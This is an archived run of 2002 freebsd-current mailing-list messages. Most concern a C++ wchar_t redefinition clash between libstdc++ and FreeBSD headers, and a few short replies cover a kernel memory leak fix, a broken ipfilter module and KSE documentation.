In-Reply-To: <200206172047.g5HKl4i52609@lakes.dignus.com>
Message-ID: <20020617235725.F60170-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

>  Uh...
>
>  In standard C++, wchar_t is a keyword.  So, there should be
>  no definition of wchar_t at all.  I think this is the problem.
>  (You can't typedef a predefined keyword.)
>
>  (Now - the compiler should certainly have the very same
>  idea of what a wchar_t is.. the same idea as the C typedef,
>  but that's a gcc configuration problem.)
>
> 	- Dave Rivers -
>

So my patches would be correct ?

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 15: 1:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7D4D937B420; Mon, 17 Jun 2002 15:01:27 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5HM1Qb31540;
	Tue, 18 Jun 2002 00:01:26 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5HM1Q9014117912;
	Tue, 18 Jun 2002 00:01:26 +0200 (MES)
Date: Tue, 18 Jun 2002 00:02:28 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: "David O'Brien" <obrien@freebsd.org>
Cc: <current@freebsd.org>
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <20020617124116.C22054@dragon.nuxi.com>
Message-ID: <20020618000141.C60170-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

> libstd++ should use our _BSD_WCAHR_T_ definitions, not its guesses at
> what we use.  Willing to make a patch to fix the libstdc++ headers?
>

As it seems it is not defines in the headers. I did search for it
and it seems to be true that g++ does use it internally.

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 15: 8:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dignus.com (sdsl-64-32-254-102.dsl.iad.megapath.net [64.32.254.102])
	by hub.freebsd.org (Postfix) with ESMTP
	id 10CD137B404; Mon, 17 Jun 2002 15:08:10 -0700 (PDT)
Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3])
	by dignus.com (8.11.6/8.11.3) with ESMTP id g5HM1ph83467;
	Mon, 17 Jun 2002 18:01:51 -0400 (EDT)
	(envelope-from rivers@dignus.com)
Received: (from rivers@localhost)
	by lakes.dignus.com (8.11.6/8.11.3) id g5HM2HW52939;
	Mon, 17 Jun 2002 18:02:17 -0400 (EDT)
	(envelope-from rivers)
Date: Mon, 17 Jun 2002 18:02:17 -0400 (EDT)
From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <200206172202.g5HM2HW52939@lakes.dignus.com>
To: mb@imp.ch, rivers@dignus.com
Subject: Re: PATCH: wchar_t is already defined in libstd++
Cc: current@FreeBSD.ORG, obrien@FreeBSD.ORG
In-Reply-To: <20020617235725.F60170-100000@levais.imp.ch>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

> Hi,
> 
> >  Uh...
> >
> >  In standard C++, wchar_t is a keyword.  So, there should be
> >  no definition of wchar_t at all.  I think this is the problem.
> >  (You can't typedef a predefined keyword.)
> >
> >  (Now - the compiler should certainly have the very same
> >  idea of what a wchar_t is.. the same idea as the C typedef,
> >  but that's a gcc configuration problem.)
> >
> > 	- Dave Rivers -
> >
> 
> So my patches would be correct ?
> 
> Martin
> 
> 

  If you are using a standard C++ compiler, then the
 include files should _not_ provide a typedef for wchar_t.

  The correct approach (and, I have to admit to not
 glancing at your patch) would be:

   #ifndef __cplusplus
   typedef _BSD_WCHAR_T_   wchar_t
   #endif

  I'm not sure how compliant gcc is in this area, but
 it's likely that newer versions are compliant, and this
 should be the approach.  Although - you could make it 
 conditional on various versions of gcc, etc...

	- Dave Rivers -


--
rivers@dignus.com                        Work: (919) 676-0847
Get your mainframe programming tools at http://www.dignus.com



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 15:18:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by hub.freebsd.org (Postfix) with ESMTP id 1CE2137B43A
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 15:18:41 -0700 (PDT)
Received: from khavrinen.lcs.mit.edu (localhost [IPv6:::1])
	by khavrinen.lcs.mit.edu (8.12.3/8.12.3) with ESMTP id g5HMGmDK022876;
	Mon, 17 Jun 2002 18:16:48 -0400 (EDT)
	(envelope-from wollman@khavrinen.lcs.mit.edu)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.12.3/8.12.3/Submit) id g5HMGjrS022873;
	Mon, 17 Jun 2002 18:16:45 -0400 (EDT)
	(envelope-from wollman)
Date: Mon, 17 Jun 2002 18:16:45 -0400 (EDT)
From: Garrett Wollman <wollman@lcs.mit.edu>
Message-Id: <200206172216.g5HMGjrS022873@khavrinen.lcs.mit.edu>
To: Thomas David Rivers <rivers@dignus.com>
Cc: mb@imp.ch, current@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <200206172202.g5HM2HW52939@lakes.dignus.com>
References: <20020617235725.F60170-100000@levais.imp.ch>
	<200206172202.g5HM2HW52939@lakes.dignus.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

<<On Mon, 17 Jun 2002 18:02:17 -0400 (EDT), Thomas David Rivers <rivers@dignus.com> said:

>   The correct approach (and, I have to admit to not
>  glancing at your patch) would be:

>    #ifndef __cplusplus
>    typedef _BSD_WCHAR_T_   wchar_t
>    #endif

Actually, the correct approach would be to avoid defining
_BSD_WCHAR_T_ when compiling C++.  This way, it only needs to be done
once for each platform, rather than once for each header that is
required to declare wchar_t.  (Not defining _BSD_WCHAR_T_ tells the
other header files that this type is already defined somehow so they
don't need to declare it again.)

-GAWollman



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 15:40:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP id 04A1D37B42F
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 15:40:30 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5HMZab34642;
	Tue, 18 Jun 2002 00:35:36 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5HMZa9014116146;
	Tue, 18 Jun 2002 00:35:36 +0200 (MES)
Date: Tue, 18 Jun 2002 00:36:38 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Garrett Wollman <wollman@lcs.mit.edu>
Cc: Thomas David Rivers <rivers@dignus.com>, <current@FreeBSD.ORG>
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <200206172216.g5HMGjrS022873@khavrinen.lcs.mit.edu>
Message-ID: <20020618002527.Q60170-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

> Actually, the correct approach would be to avoid defining
> _BSD_WCHAR_T_ when compiling C++.  This way, it only needs to be done

Hmm. I guess this was a workaround for gcc2.x which was not C++
conform. Will old programms still build then ?

> once for each platform, rather than once for each header that is
> required to declare wchar_t.  (Not defining _BSD_WCHAR_T_ tells the
> other header files that this type is already defined somehow so they
> don't need to declare it again.)

How do you like to do this whichout breaking gcc2 support ?.

How about this:

Another header  which is included from include/runetype.h, include/stdlib.h,
include/stddef.h, include/inttypes.h include/wchar.h  which just contains:

#ifdef	_BSD_WCHAR_T_
#if !defined(__cplusplus)
#if __GNUC__ <= 3) || (__GNUC_MINOR__ <= 97
typedef	_BSD_WCHAR_T_	wchar_t;
#endif
#endif
#undef	_BSD_WCHAR_T_
#endif

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 16: 0:58 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP id 5B63837B40F
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 16:00:35 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5HN0Yb36631;
	Tue, 18 Jun 2002 01:00:34 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5HN0Y90931411;
	Tue, 18 Jun 2002 01:00:34 +0200 (MES)
Date: Tue, 18 Jun 2002 01:01:36 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>
Cc: <current@FreeBSD.ORG>
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <200206172241.g5HMfW2L022995@khavrinen.lcs.mit.edu>
Message-ID: <20020618004555.U60170-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Wait my previous version was wrong ...

This is more correct ...

Since of works for gcc and g++ before 3, and it works for
gcc in 3. :

#ifdef  _BSD_WCHAR_T_
#if (__GNUC__ < 3) || !defined(__cplusplus)
typedef _BSD_WCHAR_T_   wchar_t;
#endif
#undef  _BSD_WCHAR_T_
#endif



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 16:19: 4 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id D69EC37B422; Mon, 17 Jun 2002 16:18:59 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5HNIxP8046520;
	Mon, 17 Jun 2002 16:18:59 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.3/8.12.3/Submit) id g5HNIx9Z046519;
	Mon, 17 Jun 2002 16:18:59 -0700 (PDT)
Date: Mon, 17 Jun 2002 16:18:59 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Martin Blapp <mb@imp.ch>
Cc: current@freebsd.org, peter@freebsd.org
Subject: Re: PATCH: wchar_t is already defined in libstd++
Message-ID: <20020617161859.A46476@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	Martin Blapp <mb@imp.ch>, current@freebsd.org, peter@freebsd.org
References: <20020616225518.I34000-100000@levais.imp.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020616225518.I34000-100000@levais.imp.ch>; from mb@imp.ch on Sun, Jun 16, 2002 at 10:57:32PM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, Jun 16, 2002 at 10:57:32PM +0200, Martin Blapp wrote:
> On current, wchar_t is already defined in libstd++. This
> makes gcc baby cry.
..
> This patch fixed many ports on CURRENT and I did not had to

Please give me the simplest test case from ports so I can test something.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 16:21:31 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7859B37B404; Mon, 17 Jun 2002 16:21:26 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5HNLPb38192;
	Tue, 18 Jun 2002 01:21:25 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5HNLP9014032339;
	Tue, 18 Jun 2002 01:21:25 +0200 (MES)
Date: Tue, 18 Jun 2002 01:22:27 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: "David O'Brien" <obrien@freebsd.org>
Cc: <current@freebsd.org>, <peter@freebsd.org>
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <20020617161859.A46476@dragon.nuxi.com>
Message-ID: <20020618012143.U60170-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

> > This patch fixed many ports on CURRENT and I did not had to
>
> Please give me the simplest test case from ports so I can test something.

C++ and simple ports :-) ?

I had this when compiling qt and kdelibs3.01.

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 16:38:49 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7FB0837B404; Mon, 17 Jun 2002 16:38:44 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5HNciP8046760;
	Mon, 17 Jun 2002 16:38:44 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.3/8.12.3/Submit) id g5HNci2N046759;
	Mon, 17 Jun 2002 16:38:44 -0700 (PDT)
Date: Mon, 17 Jun 2002 16:38:44 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Martin Blapp <mb@imp.ch>
Cc: current@freebsd.org, peter@freebsd.org
Subject: Re: PATCH: wchar_t is already defined in libstd++
Message-ID: <20020617163844.B46624@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	Martin Blapp <mb@imp.ch>, current@freebsd.org, peter@freebsd.org
References: <20020617161859.A46476@dragon.nuxi.com> <20020618012143.U60170-100000@levais.imp.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020618012143.U60170-100000@levais.imp.ch>; from mb@imp.ch on Tue, Jun 18, 2002 at 01:22:27AM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Tue, Jun 18, 2002 at 01:22:27AM +0200, Martin Blapp wrote:
> 
> Hi,
> 
> > > This patch fixed many ports on CURRENT and I did not had to
> >
> > Please give me the simplest test case from ports so I can test something.
> 
> C++ and simple ports :-) ?
> 
> I had this when compiling qt and kdelibs3.01.

Will just `qt' should the problem?  I am *NOT* about to build kdelibs.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 16:44:50 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mrout2.yahoo.com (mrout2.yahoo.com [216.145.54.172])
	by hub.freebsd.org (Postfix) with ESMTP id 6EF3437B40E
	for <current@FreeBSD.org>; Mon, 17 Jun 2002 16:44:46 -0700 (PDT)
Received: from zoot.corp.yahoo.com (zoot.corp.yahoo.com [216.145.52.89])
	by mrout2.yahoo.com (8.11.6/8.11.6/y.out) with ESMTP id g5HNihR50049;
	Mon, 17 Jun 2002 16:44:43 -0700 (PDT)
Received: from localhost (dougb@localhost)
	by zoot.corp.yahoo.com (8.12.3/8.12.3/Submit) with ESMTP id g5HNigqU004676;
	Mon, 17 Jun 2002 16:44:43 -0700 (PDT)
Date: Mon, 17 Jun 2002 16:44:42 -0700 (PDT)
From: Doug Barton <DougB@FreeBSD.org>
To: Sid Carter <sidcarter@symonds.net>
Cc: current@FreeBSD.org
Subject: Re: make buildworld failure
In-Reply-To: <20020617110352.GA8893@calvin.in.ibm.com>
Message-ID: <20020617164410.T4504-100000@zoot.corp.yahoo.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

We expect users running -current to subscribe to and read cvs-all and
freebsd-current.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 16:56:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62])
	by hub.freebsd.org (Postfix) with ESMTP id 8583F37B40D
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 16:56:36 -0700 (PDT)
Received: from blossom.cjclark.org ([12.234.91.48]) by sccrmhc02.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020617235635.URCD1547.sccrmhc02.attbi.com@blossom.cjclark.org>;
          Mon, 17 Jun 2002 23:56:35 +0000
Received: from blossom.cjclark.org (localhost. [127.0.0.1])
	by blossom.cjclark.org (8.12.3/8.12.3) with ESMTP id g5HNuZJX003079;
	Mon, 17 Jun 2002 16:56:35 -0700 (PDT)
	(envelope-from crist.clark@attbi.com)
Received: (from cjc@localhost)
	by blossom.cjclark.org (8.12.3/8.12.3/Submit) id g5HNuYZE003078;
	Mon, 17 Jun 2002 16:56:34 -0700 (PDT)
X-Authentication-Warning: blossom.cjclark.org: cjc set sender to crist.clark@attbi.com using -f
Date: Mon, 17 Jun 2002 16:56:34 -0700
From: "Crist J. Clark" <crist.clark@attbi.com>
To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Cc: current@FreeBSD.ORG
Subject: Re: ipfilter module
Message-ID: <20020617165634.B2839@blossom.cjclark.org>
Reply-To: "Crist J. Clark" <cjc@FreeBSD.ORG>
References: <20020617142825.GA88804@leviathan.inethouston.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020617142825.GA88804@leviathan.inethouston.net>; from dwcjr@inethouston.net on Mon, Jun 17, 2002 at 09:28:25AM -0500
X-URL: http://people.freebsd.org/~cjc/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, Jun 17, 2002 at 09:28:25AM -0500, David W. Chapman Jr. wrote:
> Anyone see this while kldload ipl?
> 
> link_elf: symbol pfil_add_hook undefined

Yes. It's been broken for ages.
-- 
Crist J. Clark                     |     cjclark@alum.mit.edu
                                   |     cjclark@jhu.edu
http://people.freebsd.org/~cjc/    |     cjc@freebsd.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 17: 6:30 2002
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (mail2.alcanet.com.au [203.62.196.17])
	by hub.freebsd.org (Postfix) with ESMTP id 9D29537B415
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 17:06:22 -0700 (PDT)
Received: from mfg1.cim.alcatel.com.au (localhost.localdomain [127.0.0.1])
	by alcanet.com.au (8.12.1/8.12.1/Alcanet1.2) with ESMTP id g5I06HEd020384;
	Tue, 18 Jun 2002 10:06:18 +1000
Received: from gsmx07.alcatel.com.au by cim.alcatel.com.au
 (PMDF V5.2-32 #37645) with ESMTP id <01KJ2M1IYSQ890Q3YA@cim.alcatel.com.au>;
 Tue, 18 Jun 2002 10:05:45 +1000
Received: from gsmx07.alcatel.com.au (localhost [127.0.0.1])
	by gsmx07.alcatel.com.au (8.12.3/8.12.3) with ESMTP id g5I06Dru000510; Tue,
 18 Jun 2002 10:06:13 +1000
Received: (from jeremyp@localhost)
	by gsmx07.alcatel.com.au (8.12.3/8.12.3/Submit) id g5I06DrM000509; Tue,
 18 Jun 2002 10:06:13 +1000 (EST)
Content-return: prohibited
Date: Tue, 18 Jun 2002 10:06:12 +1000
From: Peter Jeremy <peter.jeremy@alcatel.com.au>
Subject: Re: proc-args (M_PARGS) leakage
In-reply-to: <20020617230109.I360-100000@gamplex.bde.org>; from bde@zeta.org.au
 on Mon, Jun 17, 2002 at 11:17:21PM +1000
To: Bruce Evans <bde@zeta.org.au>
Cc: freebsd-current@FreeBSD.ORG
Mail-Followup-To: Bruce Evans <bde@zeta.org.au>,
	freebsd-current@FreeBSD.ORG
Message-id: <20020618100612.A438@gsmx07.alcatel.com.au>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii
Content-disposition: inline
User-Agent: Mutt/1.2.5.1i
References: <20020617155522.X3493-100000@gamplex.bde.org>
 <20020617230109.I360-100000@gamplex.bde.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 2002-Jun-17 23:17:21 +1000, Bruce Evans <bde@zeta.org.au> wrote:
>sendmail was just doing setproctitle() to usually the same value every
>few seconds.  Doing sysproctitle() in a loop exhausts kernel memory in a
>few minutes (it should only take a few seconds, but bot the user and
>kernel parts of setproctitle() are slow).

Thanks for that.  I'd totally missed that and thought the problem
was in the process cleanup code (exit1() and wait1()).

>The following patch seems to fix all the bugs that I noticed except minor
>style bugs.  It was tested mainly with setproctitle() in a loop.

It got mangled on the way here but after cleaning it up and applying
it, a short check suggests it fixes my problem (though there seem to
be other un-related problems with -CURRENT just now).

Peter

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 17:23:32 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22])
	by hub.freebsd.org (Postfix) with ESMTP id 84BCC37B40B
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 17:23:28 -0700 (PDT)
Received: from pool0435.cvx40-bradley.dialup.earthlink.net ([216.244.43.180] helo=mindspring.com)
	by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17K6mI-0000bS-00; Mon, 17 Jun 2002 17:23:23 -0700
Message-ID: <3D0E7D55.24F4515C@mindspring.com>
Date: Mon, 17 Jun 2002 17:22:45 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Julian Elischer <julian@elischer.org>
Cc: Alex.Wilkinson@dsto.defence.gov.au, freebsd-current@freebsd.org
Subject: Re: KSE
References: <Pine.BSF.4.21.0206162117250.11814-100000@InterJet.elischer.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Julian Elischer wrote:
> 
> I'm trying to regenerate jason's page here but am having trouble with all
> the tools...
> (it is done in tex and I don't seem tobe able to regenerate the tools
> needed to make a web page from it..)

Jon Parise points out that the Google cache might be able to
help you.

-- Terry

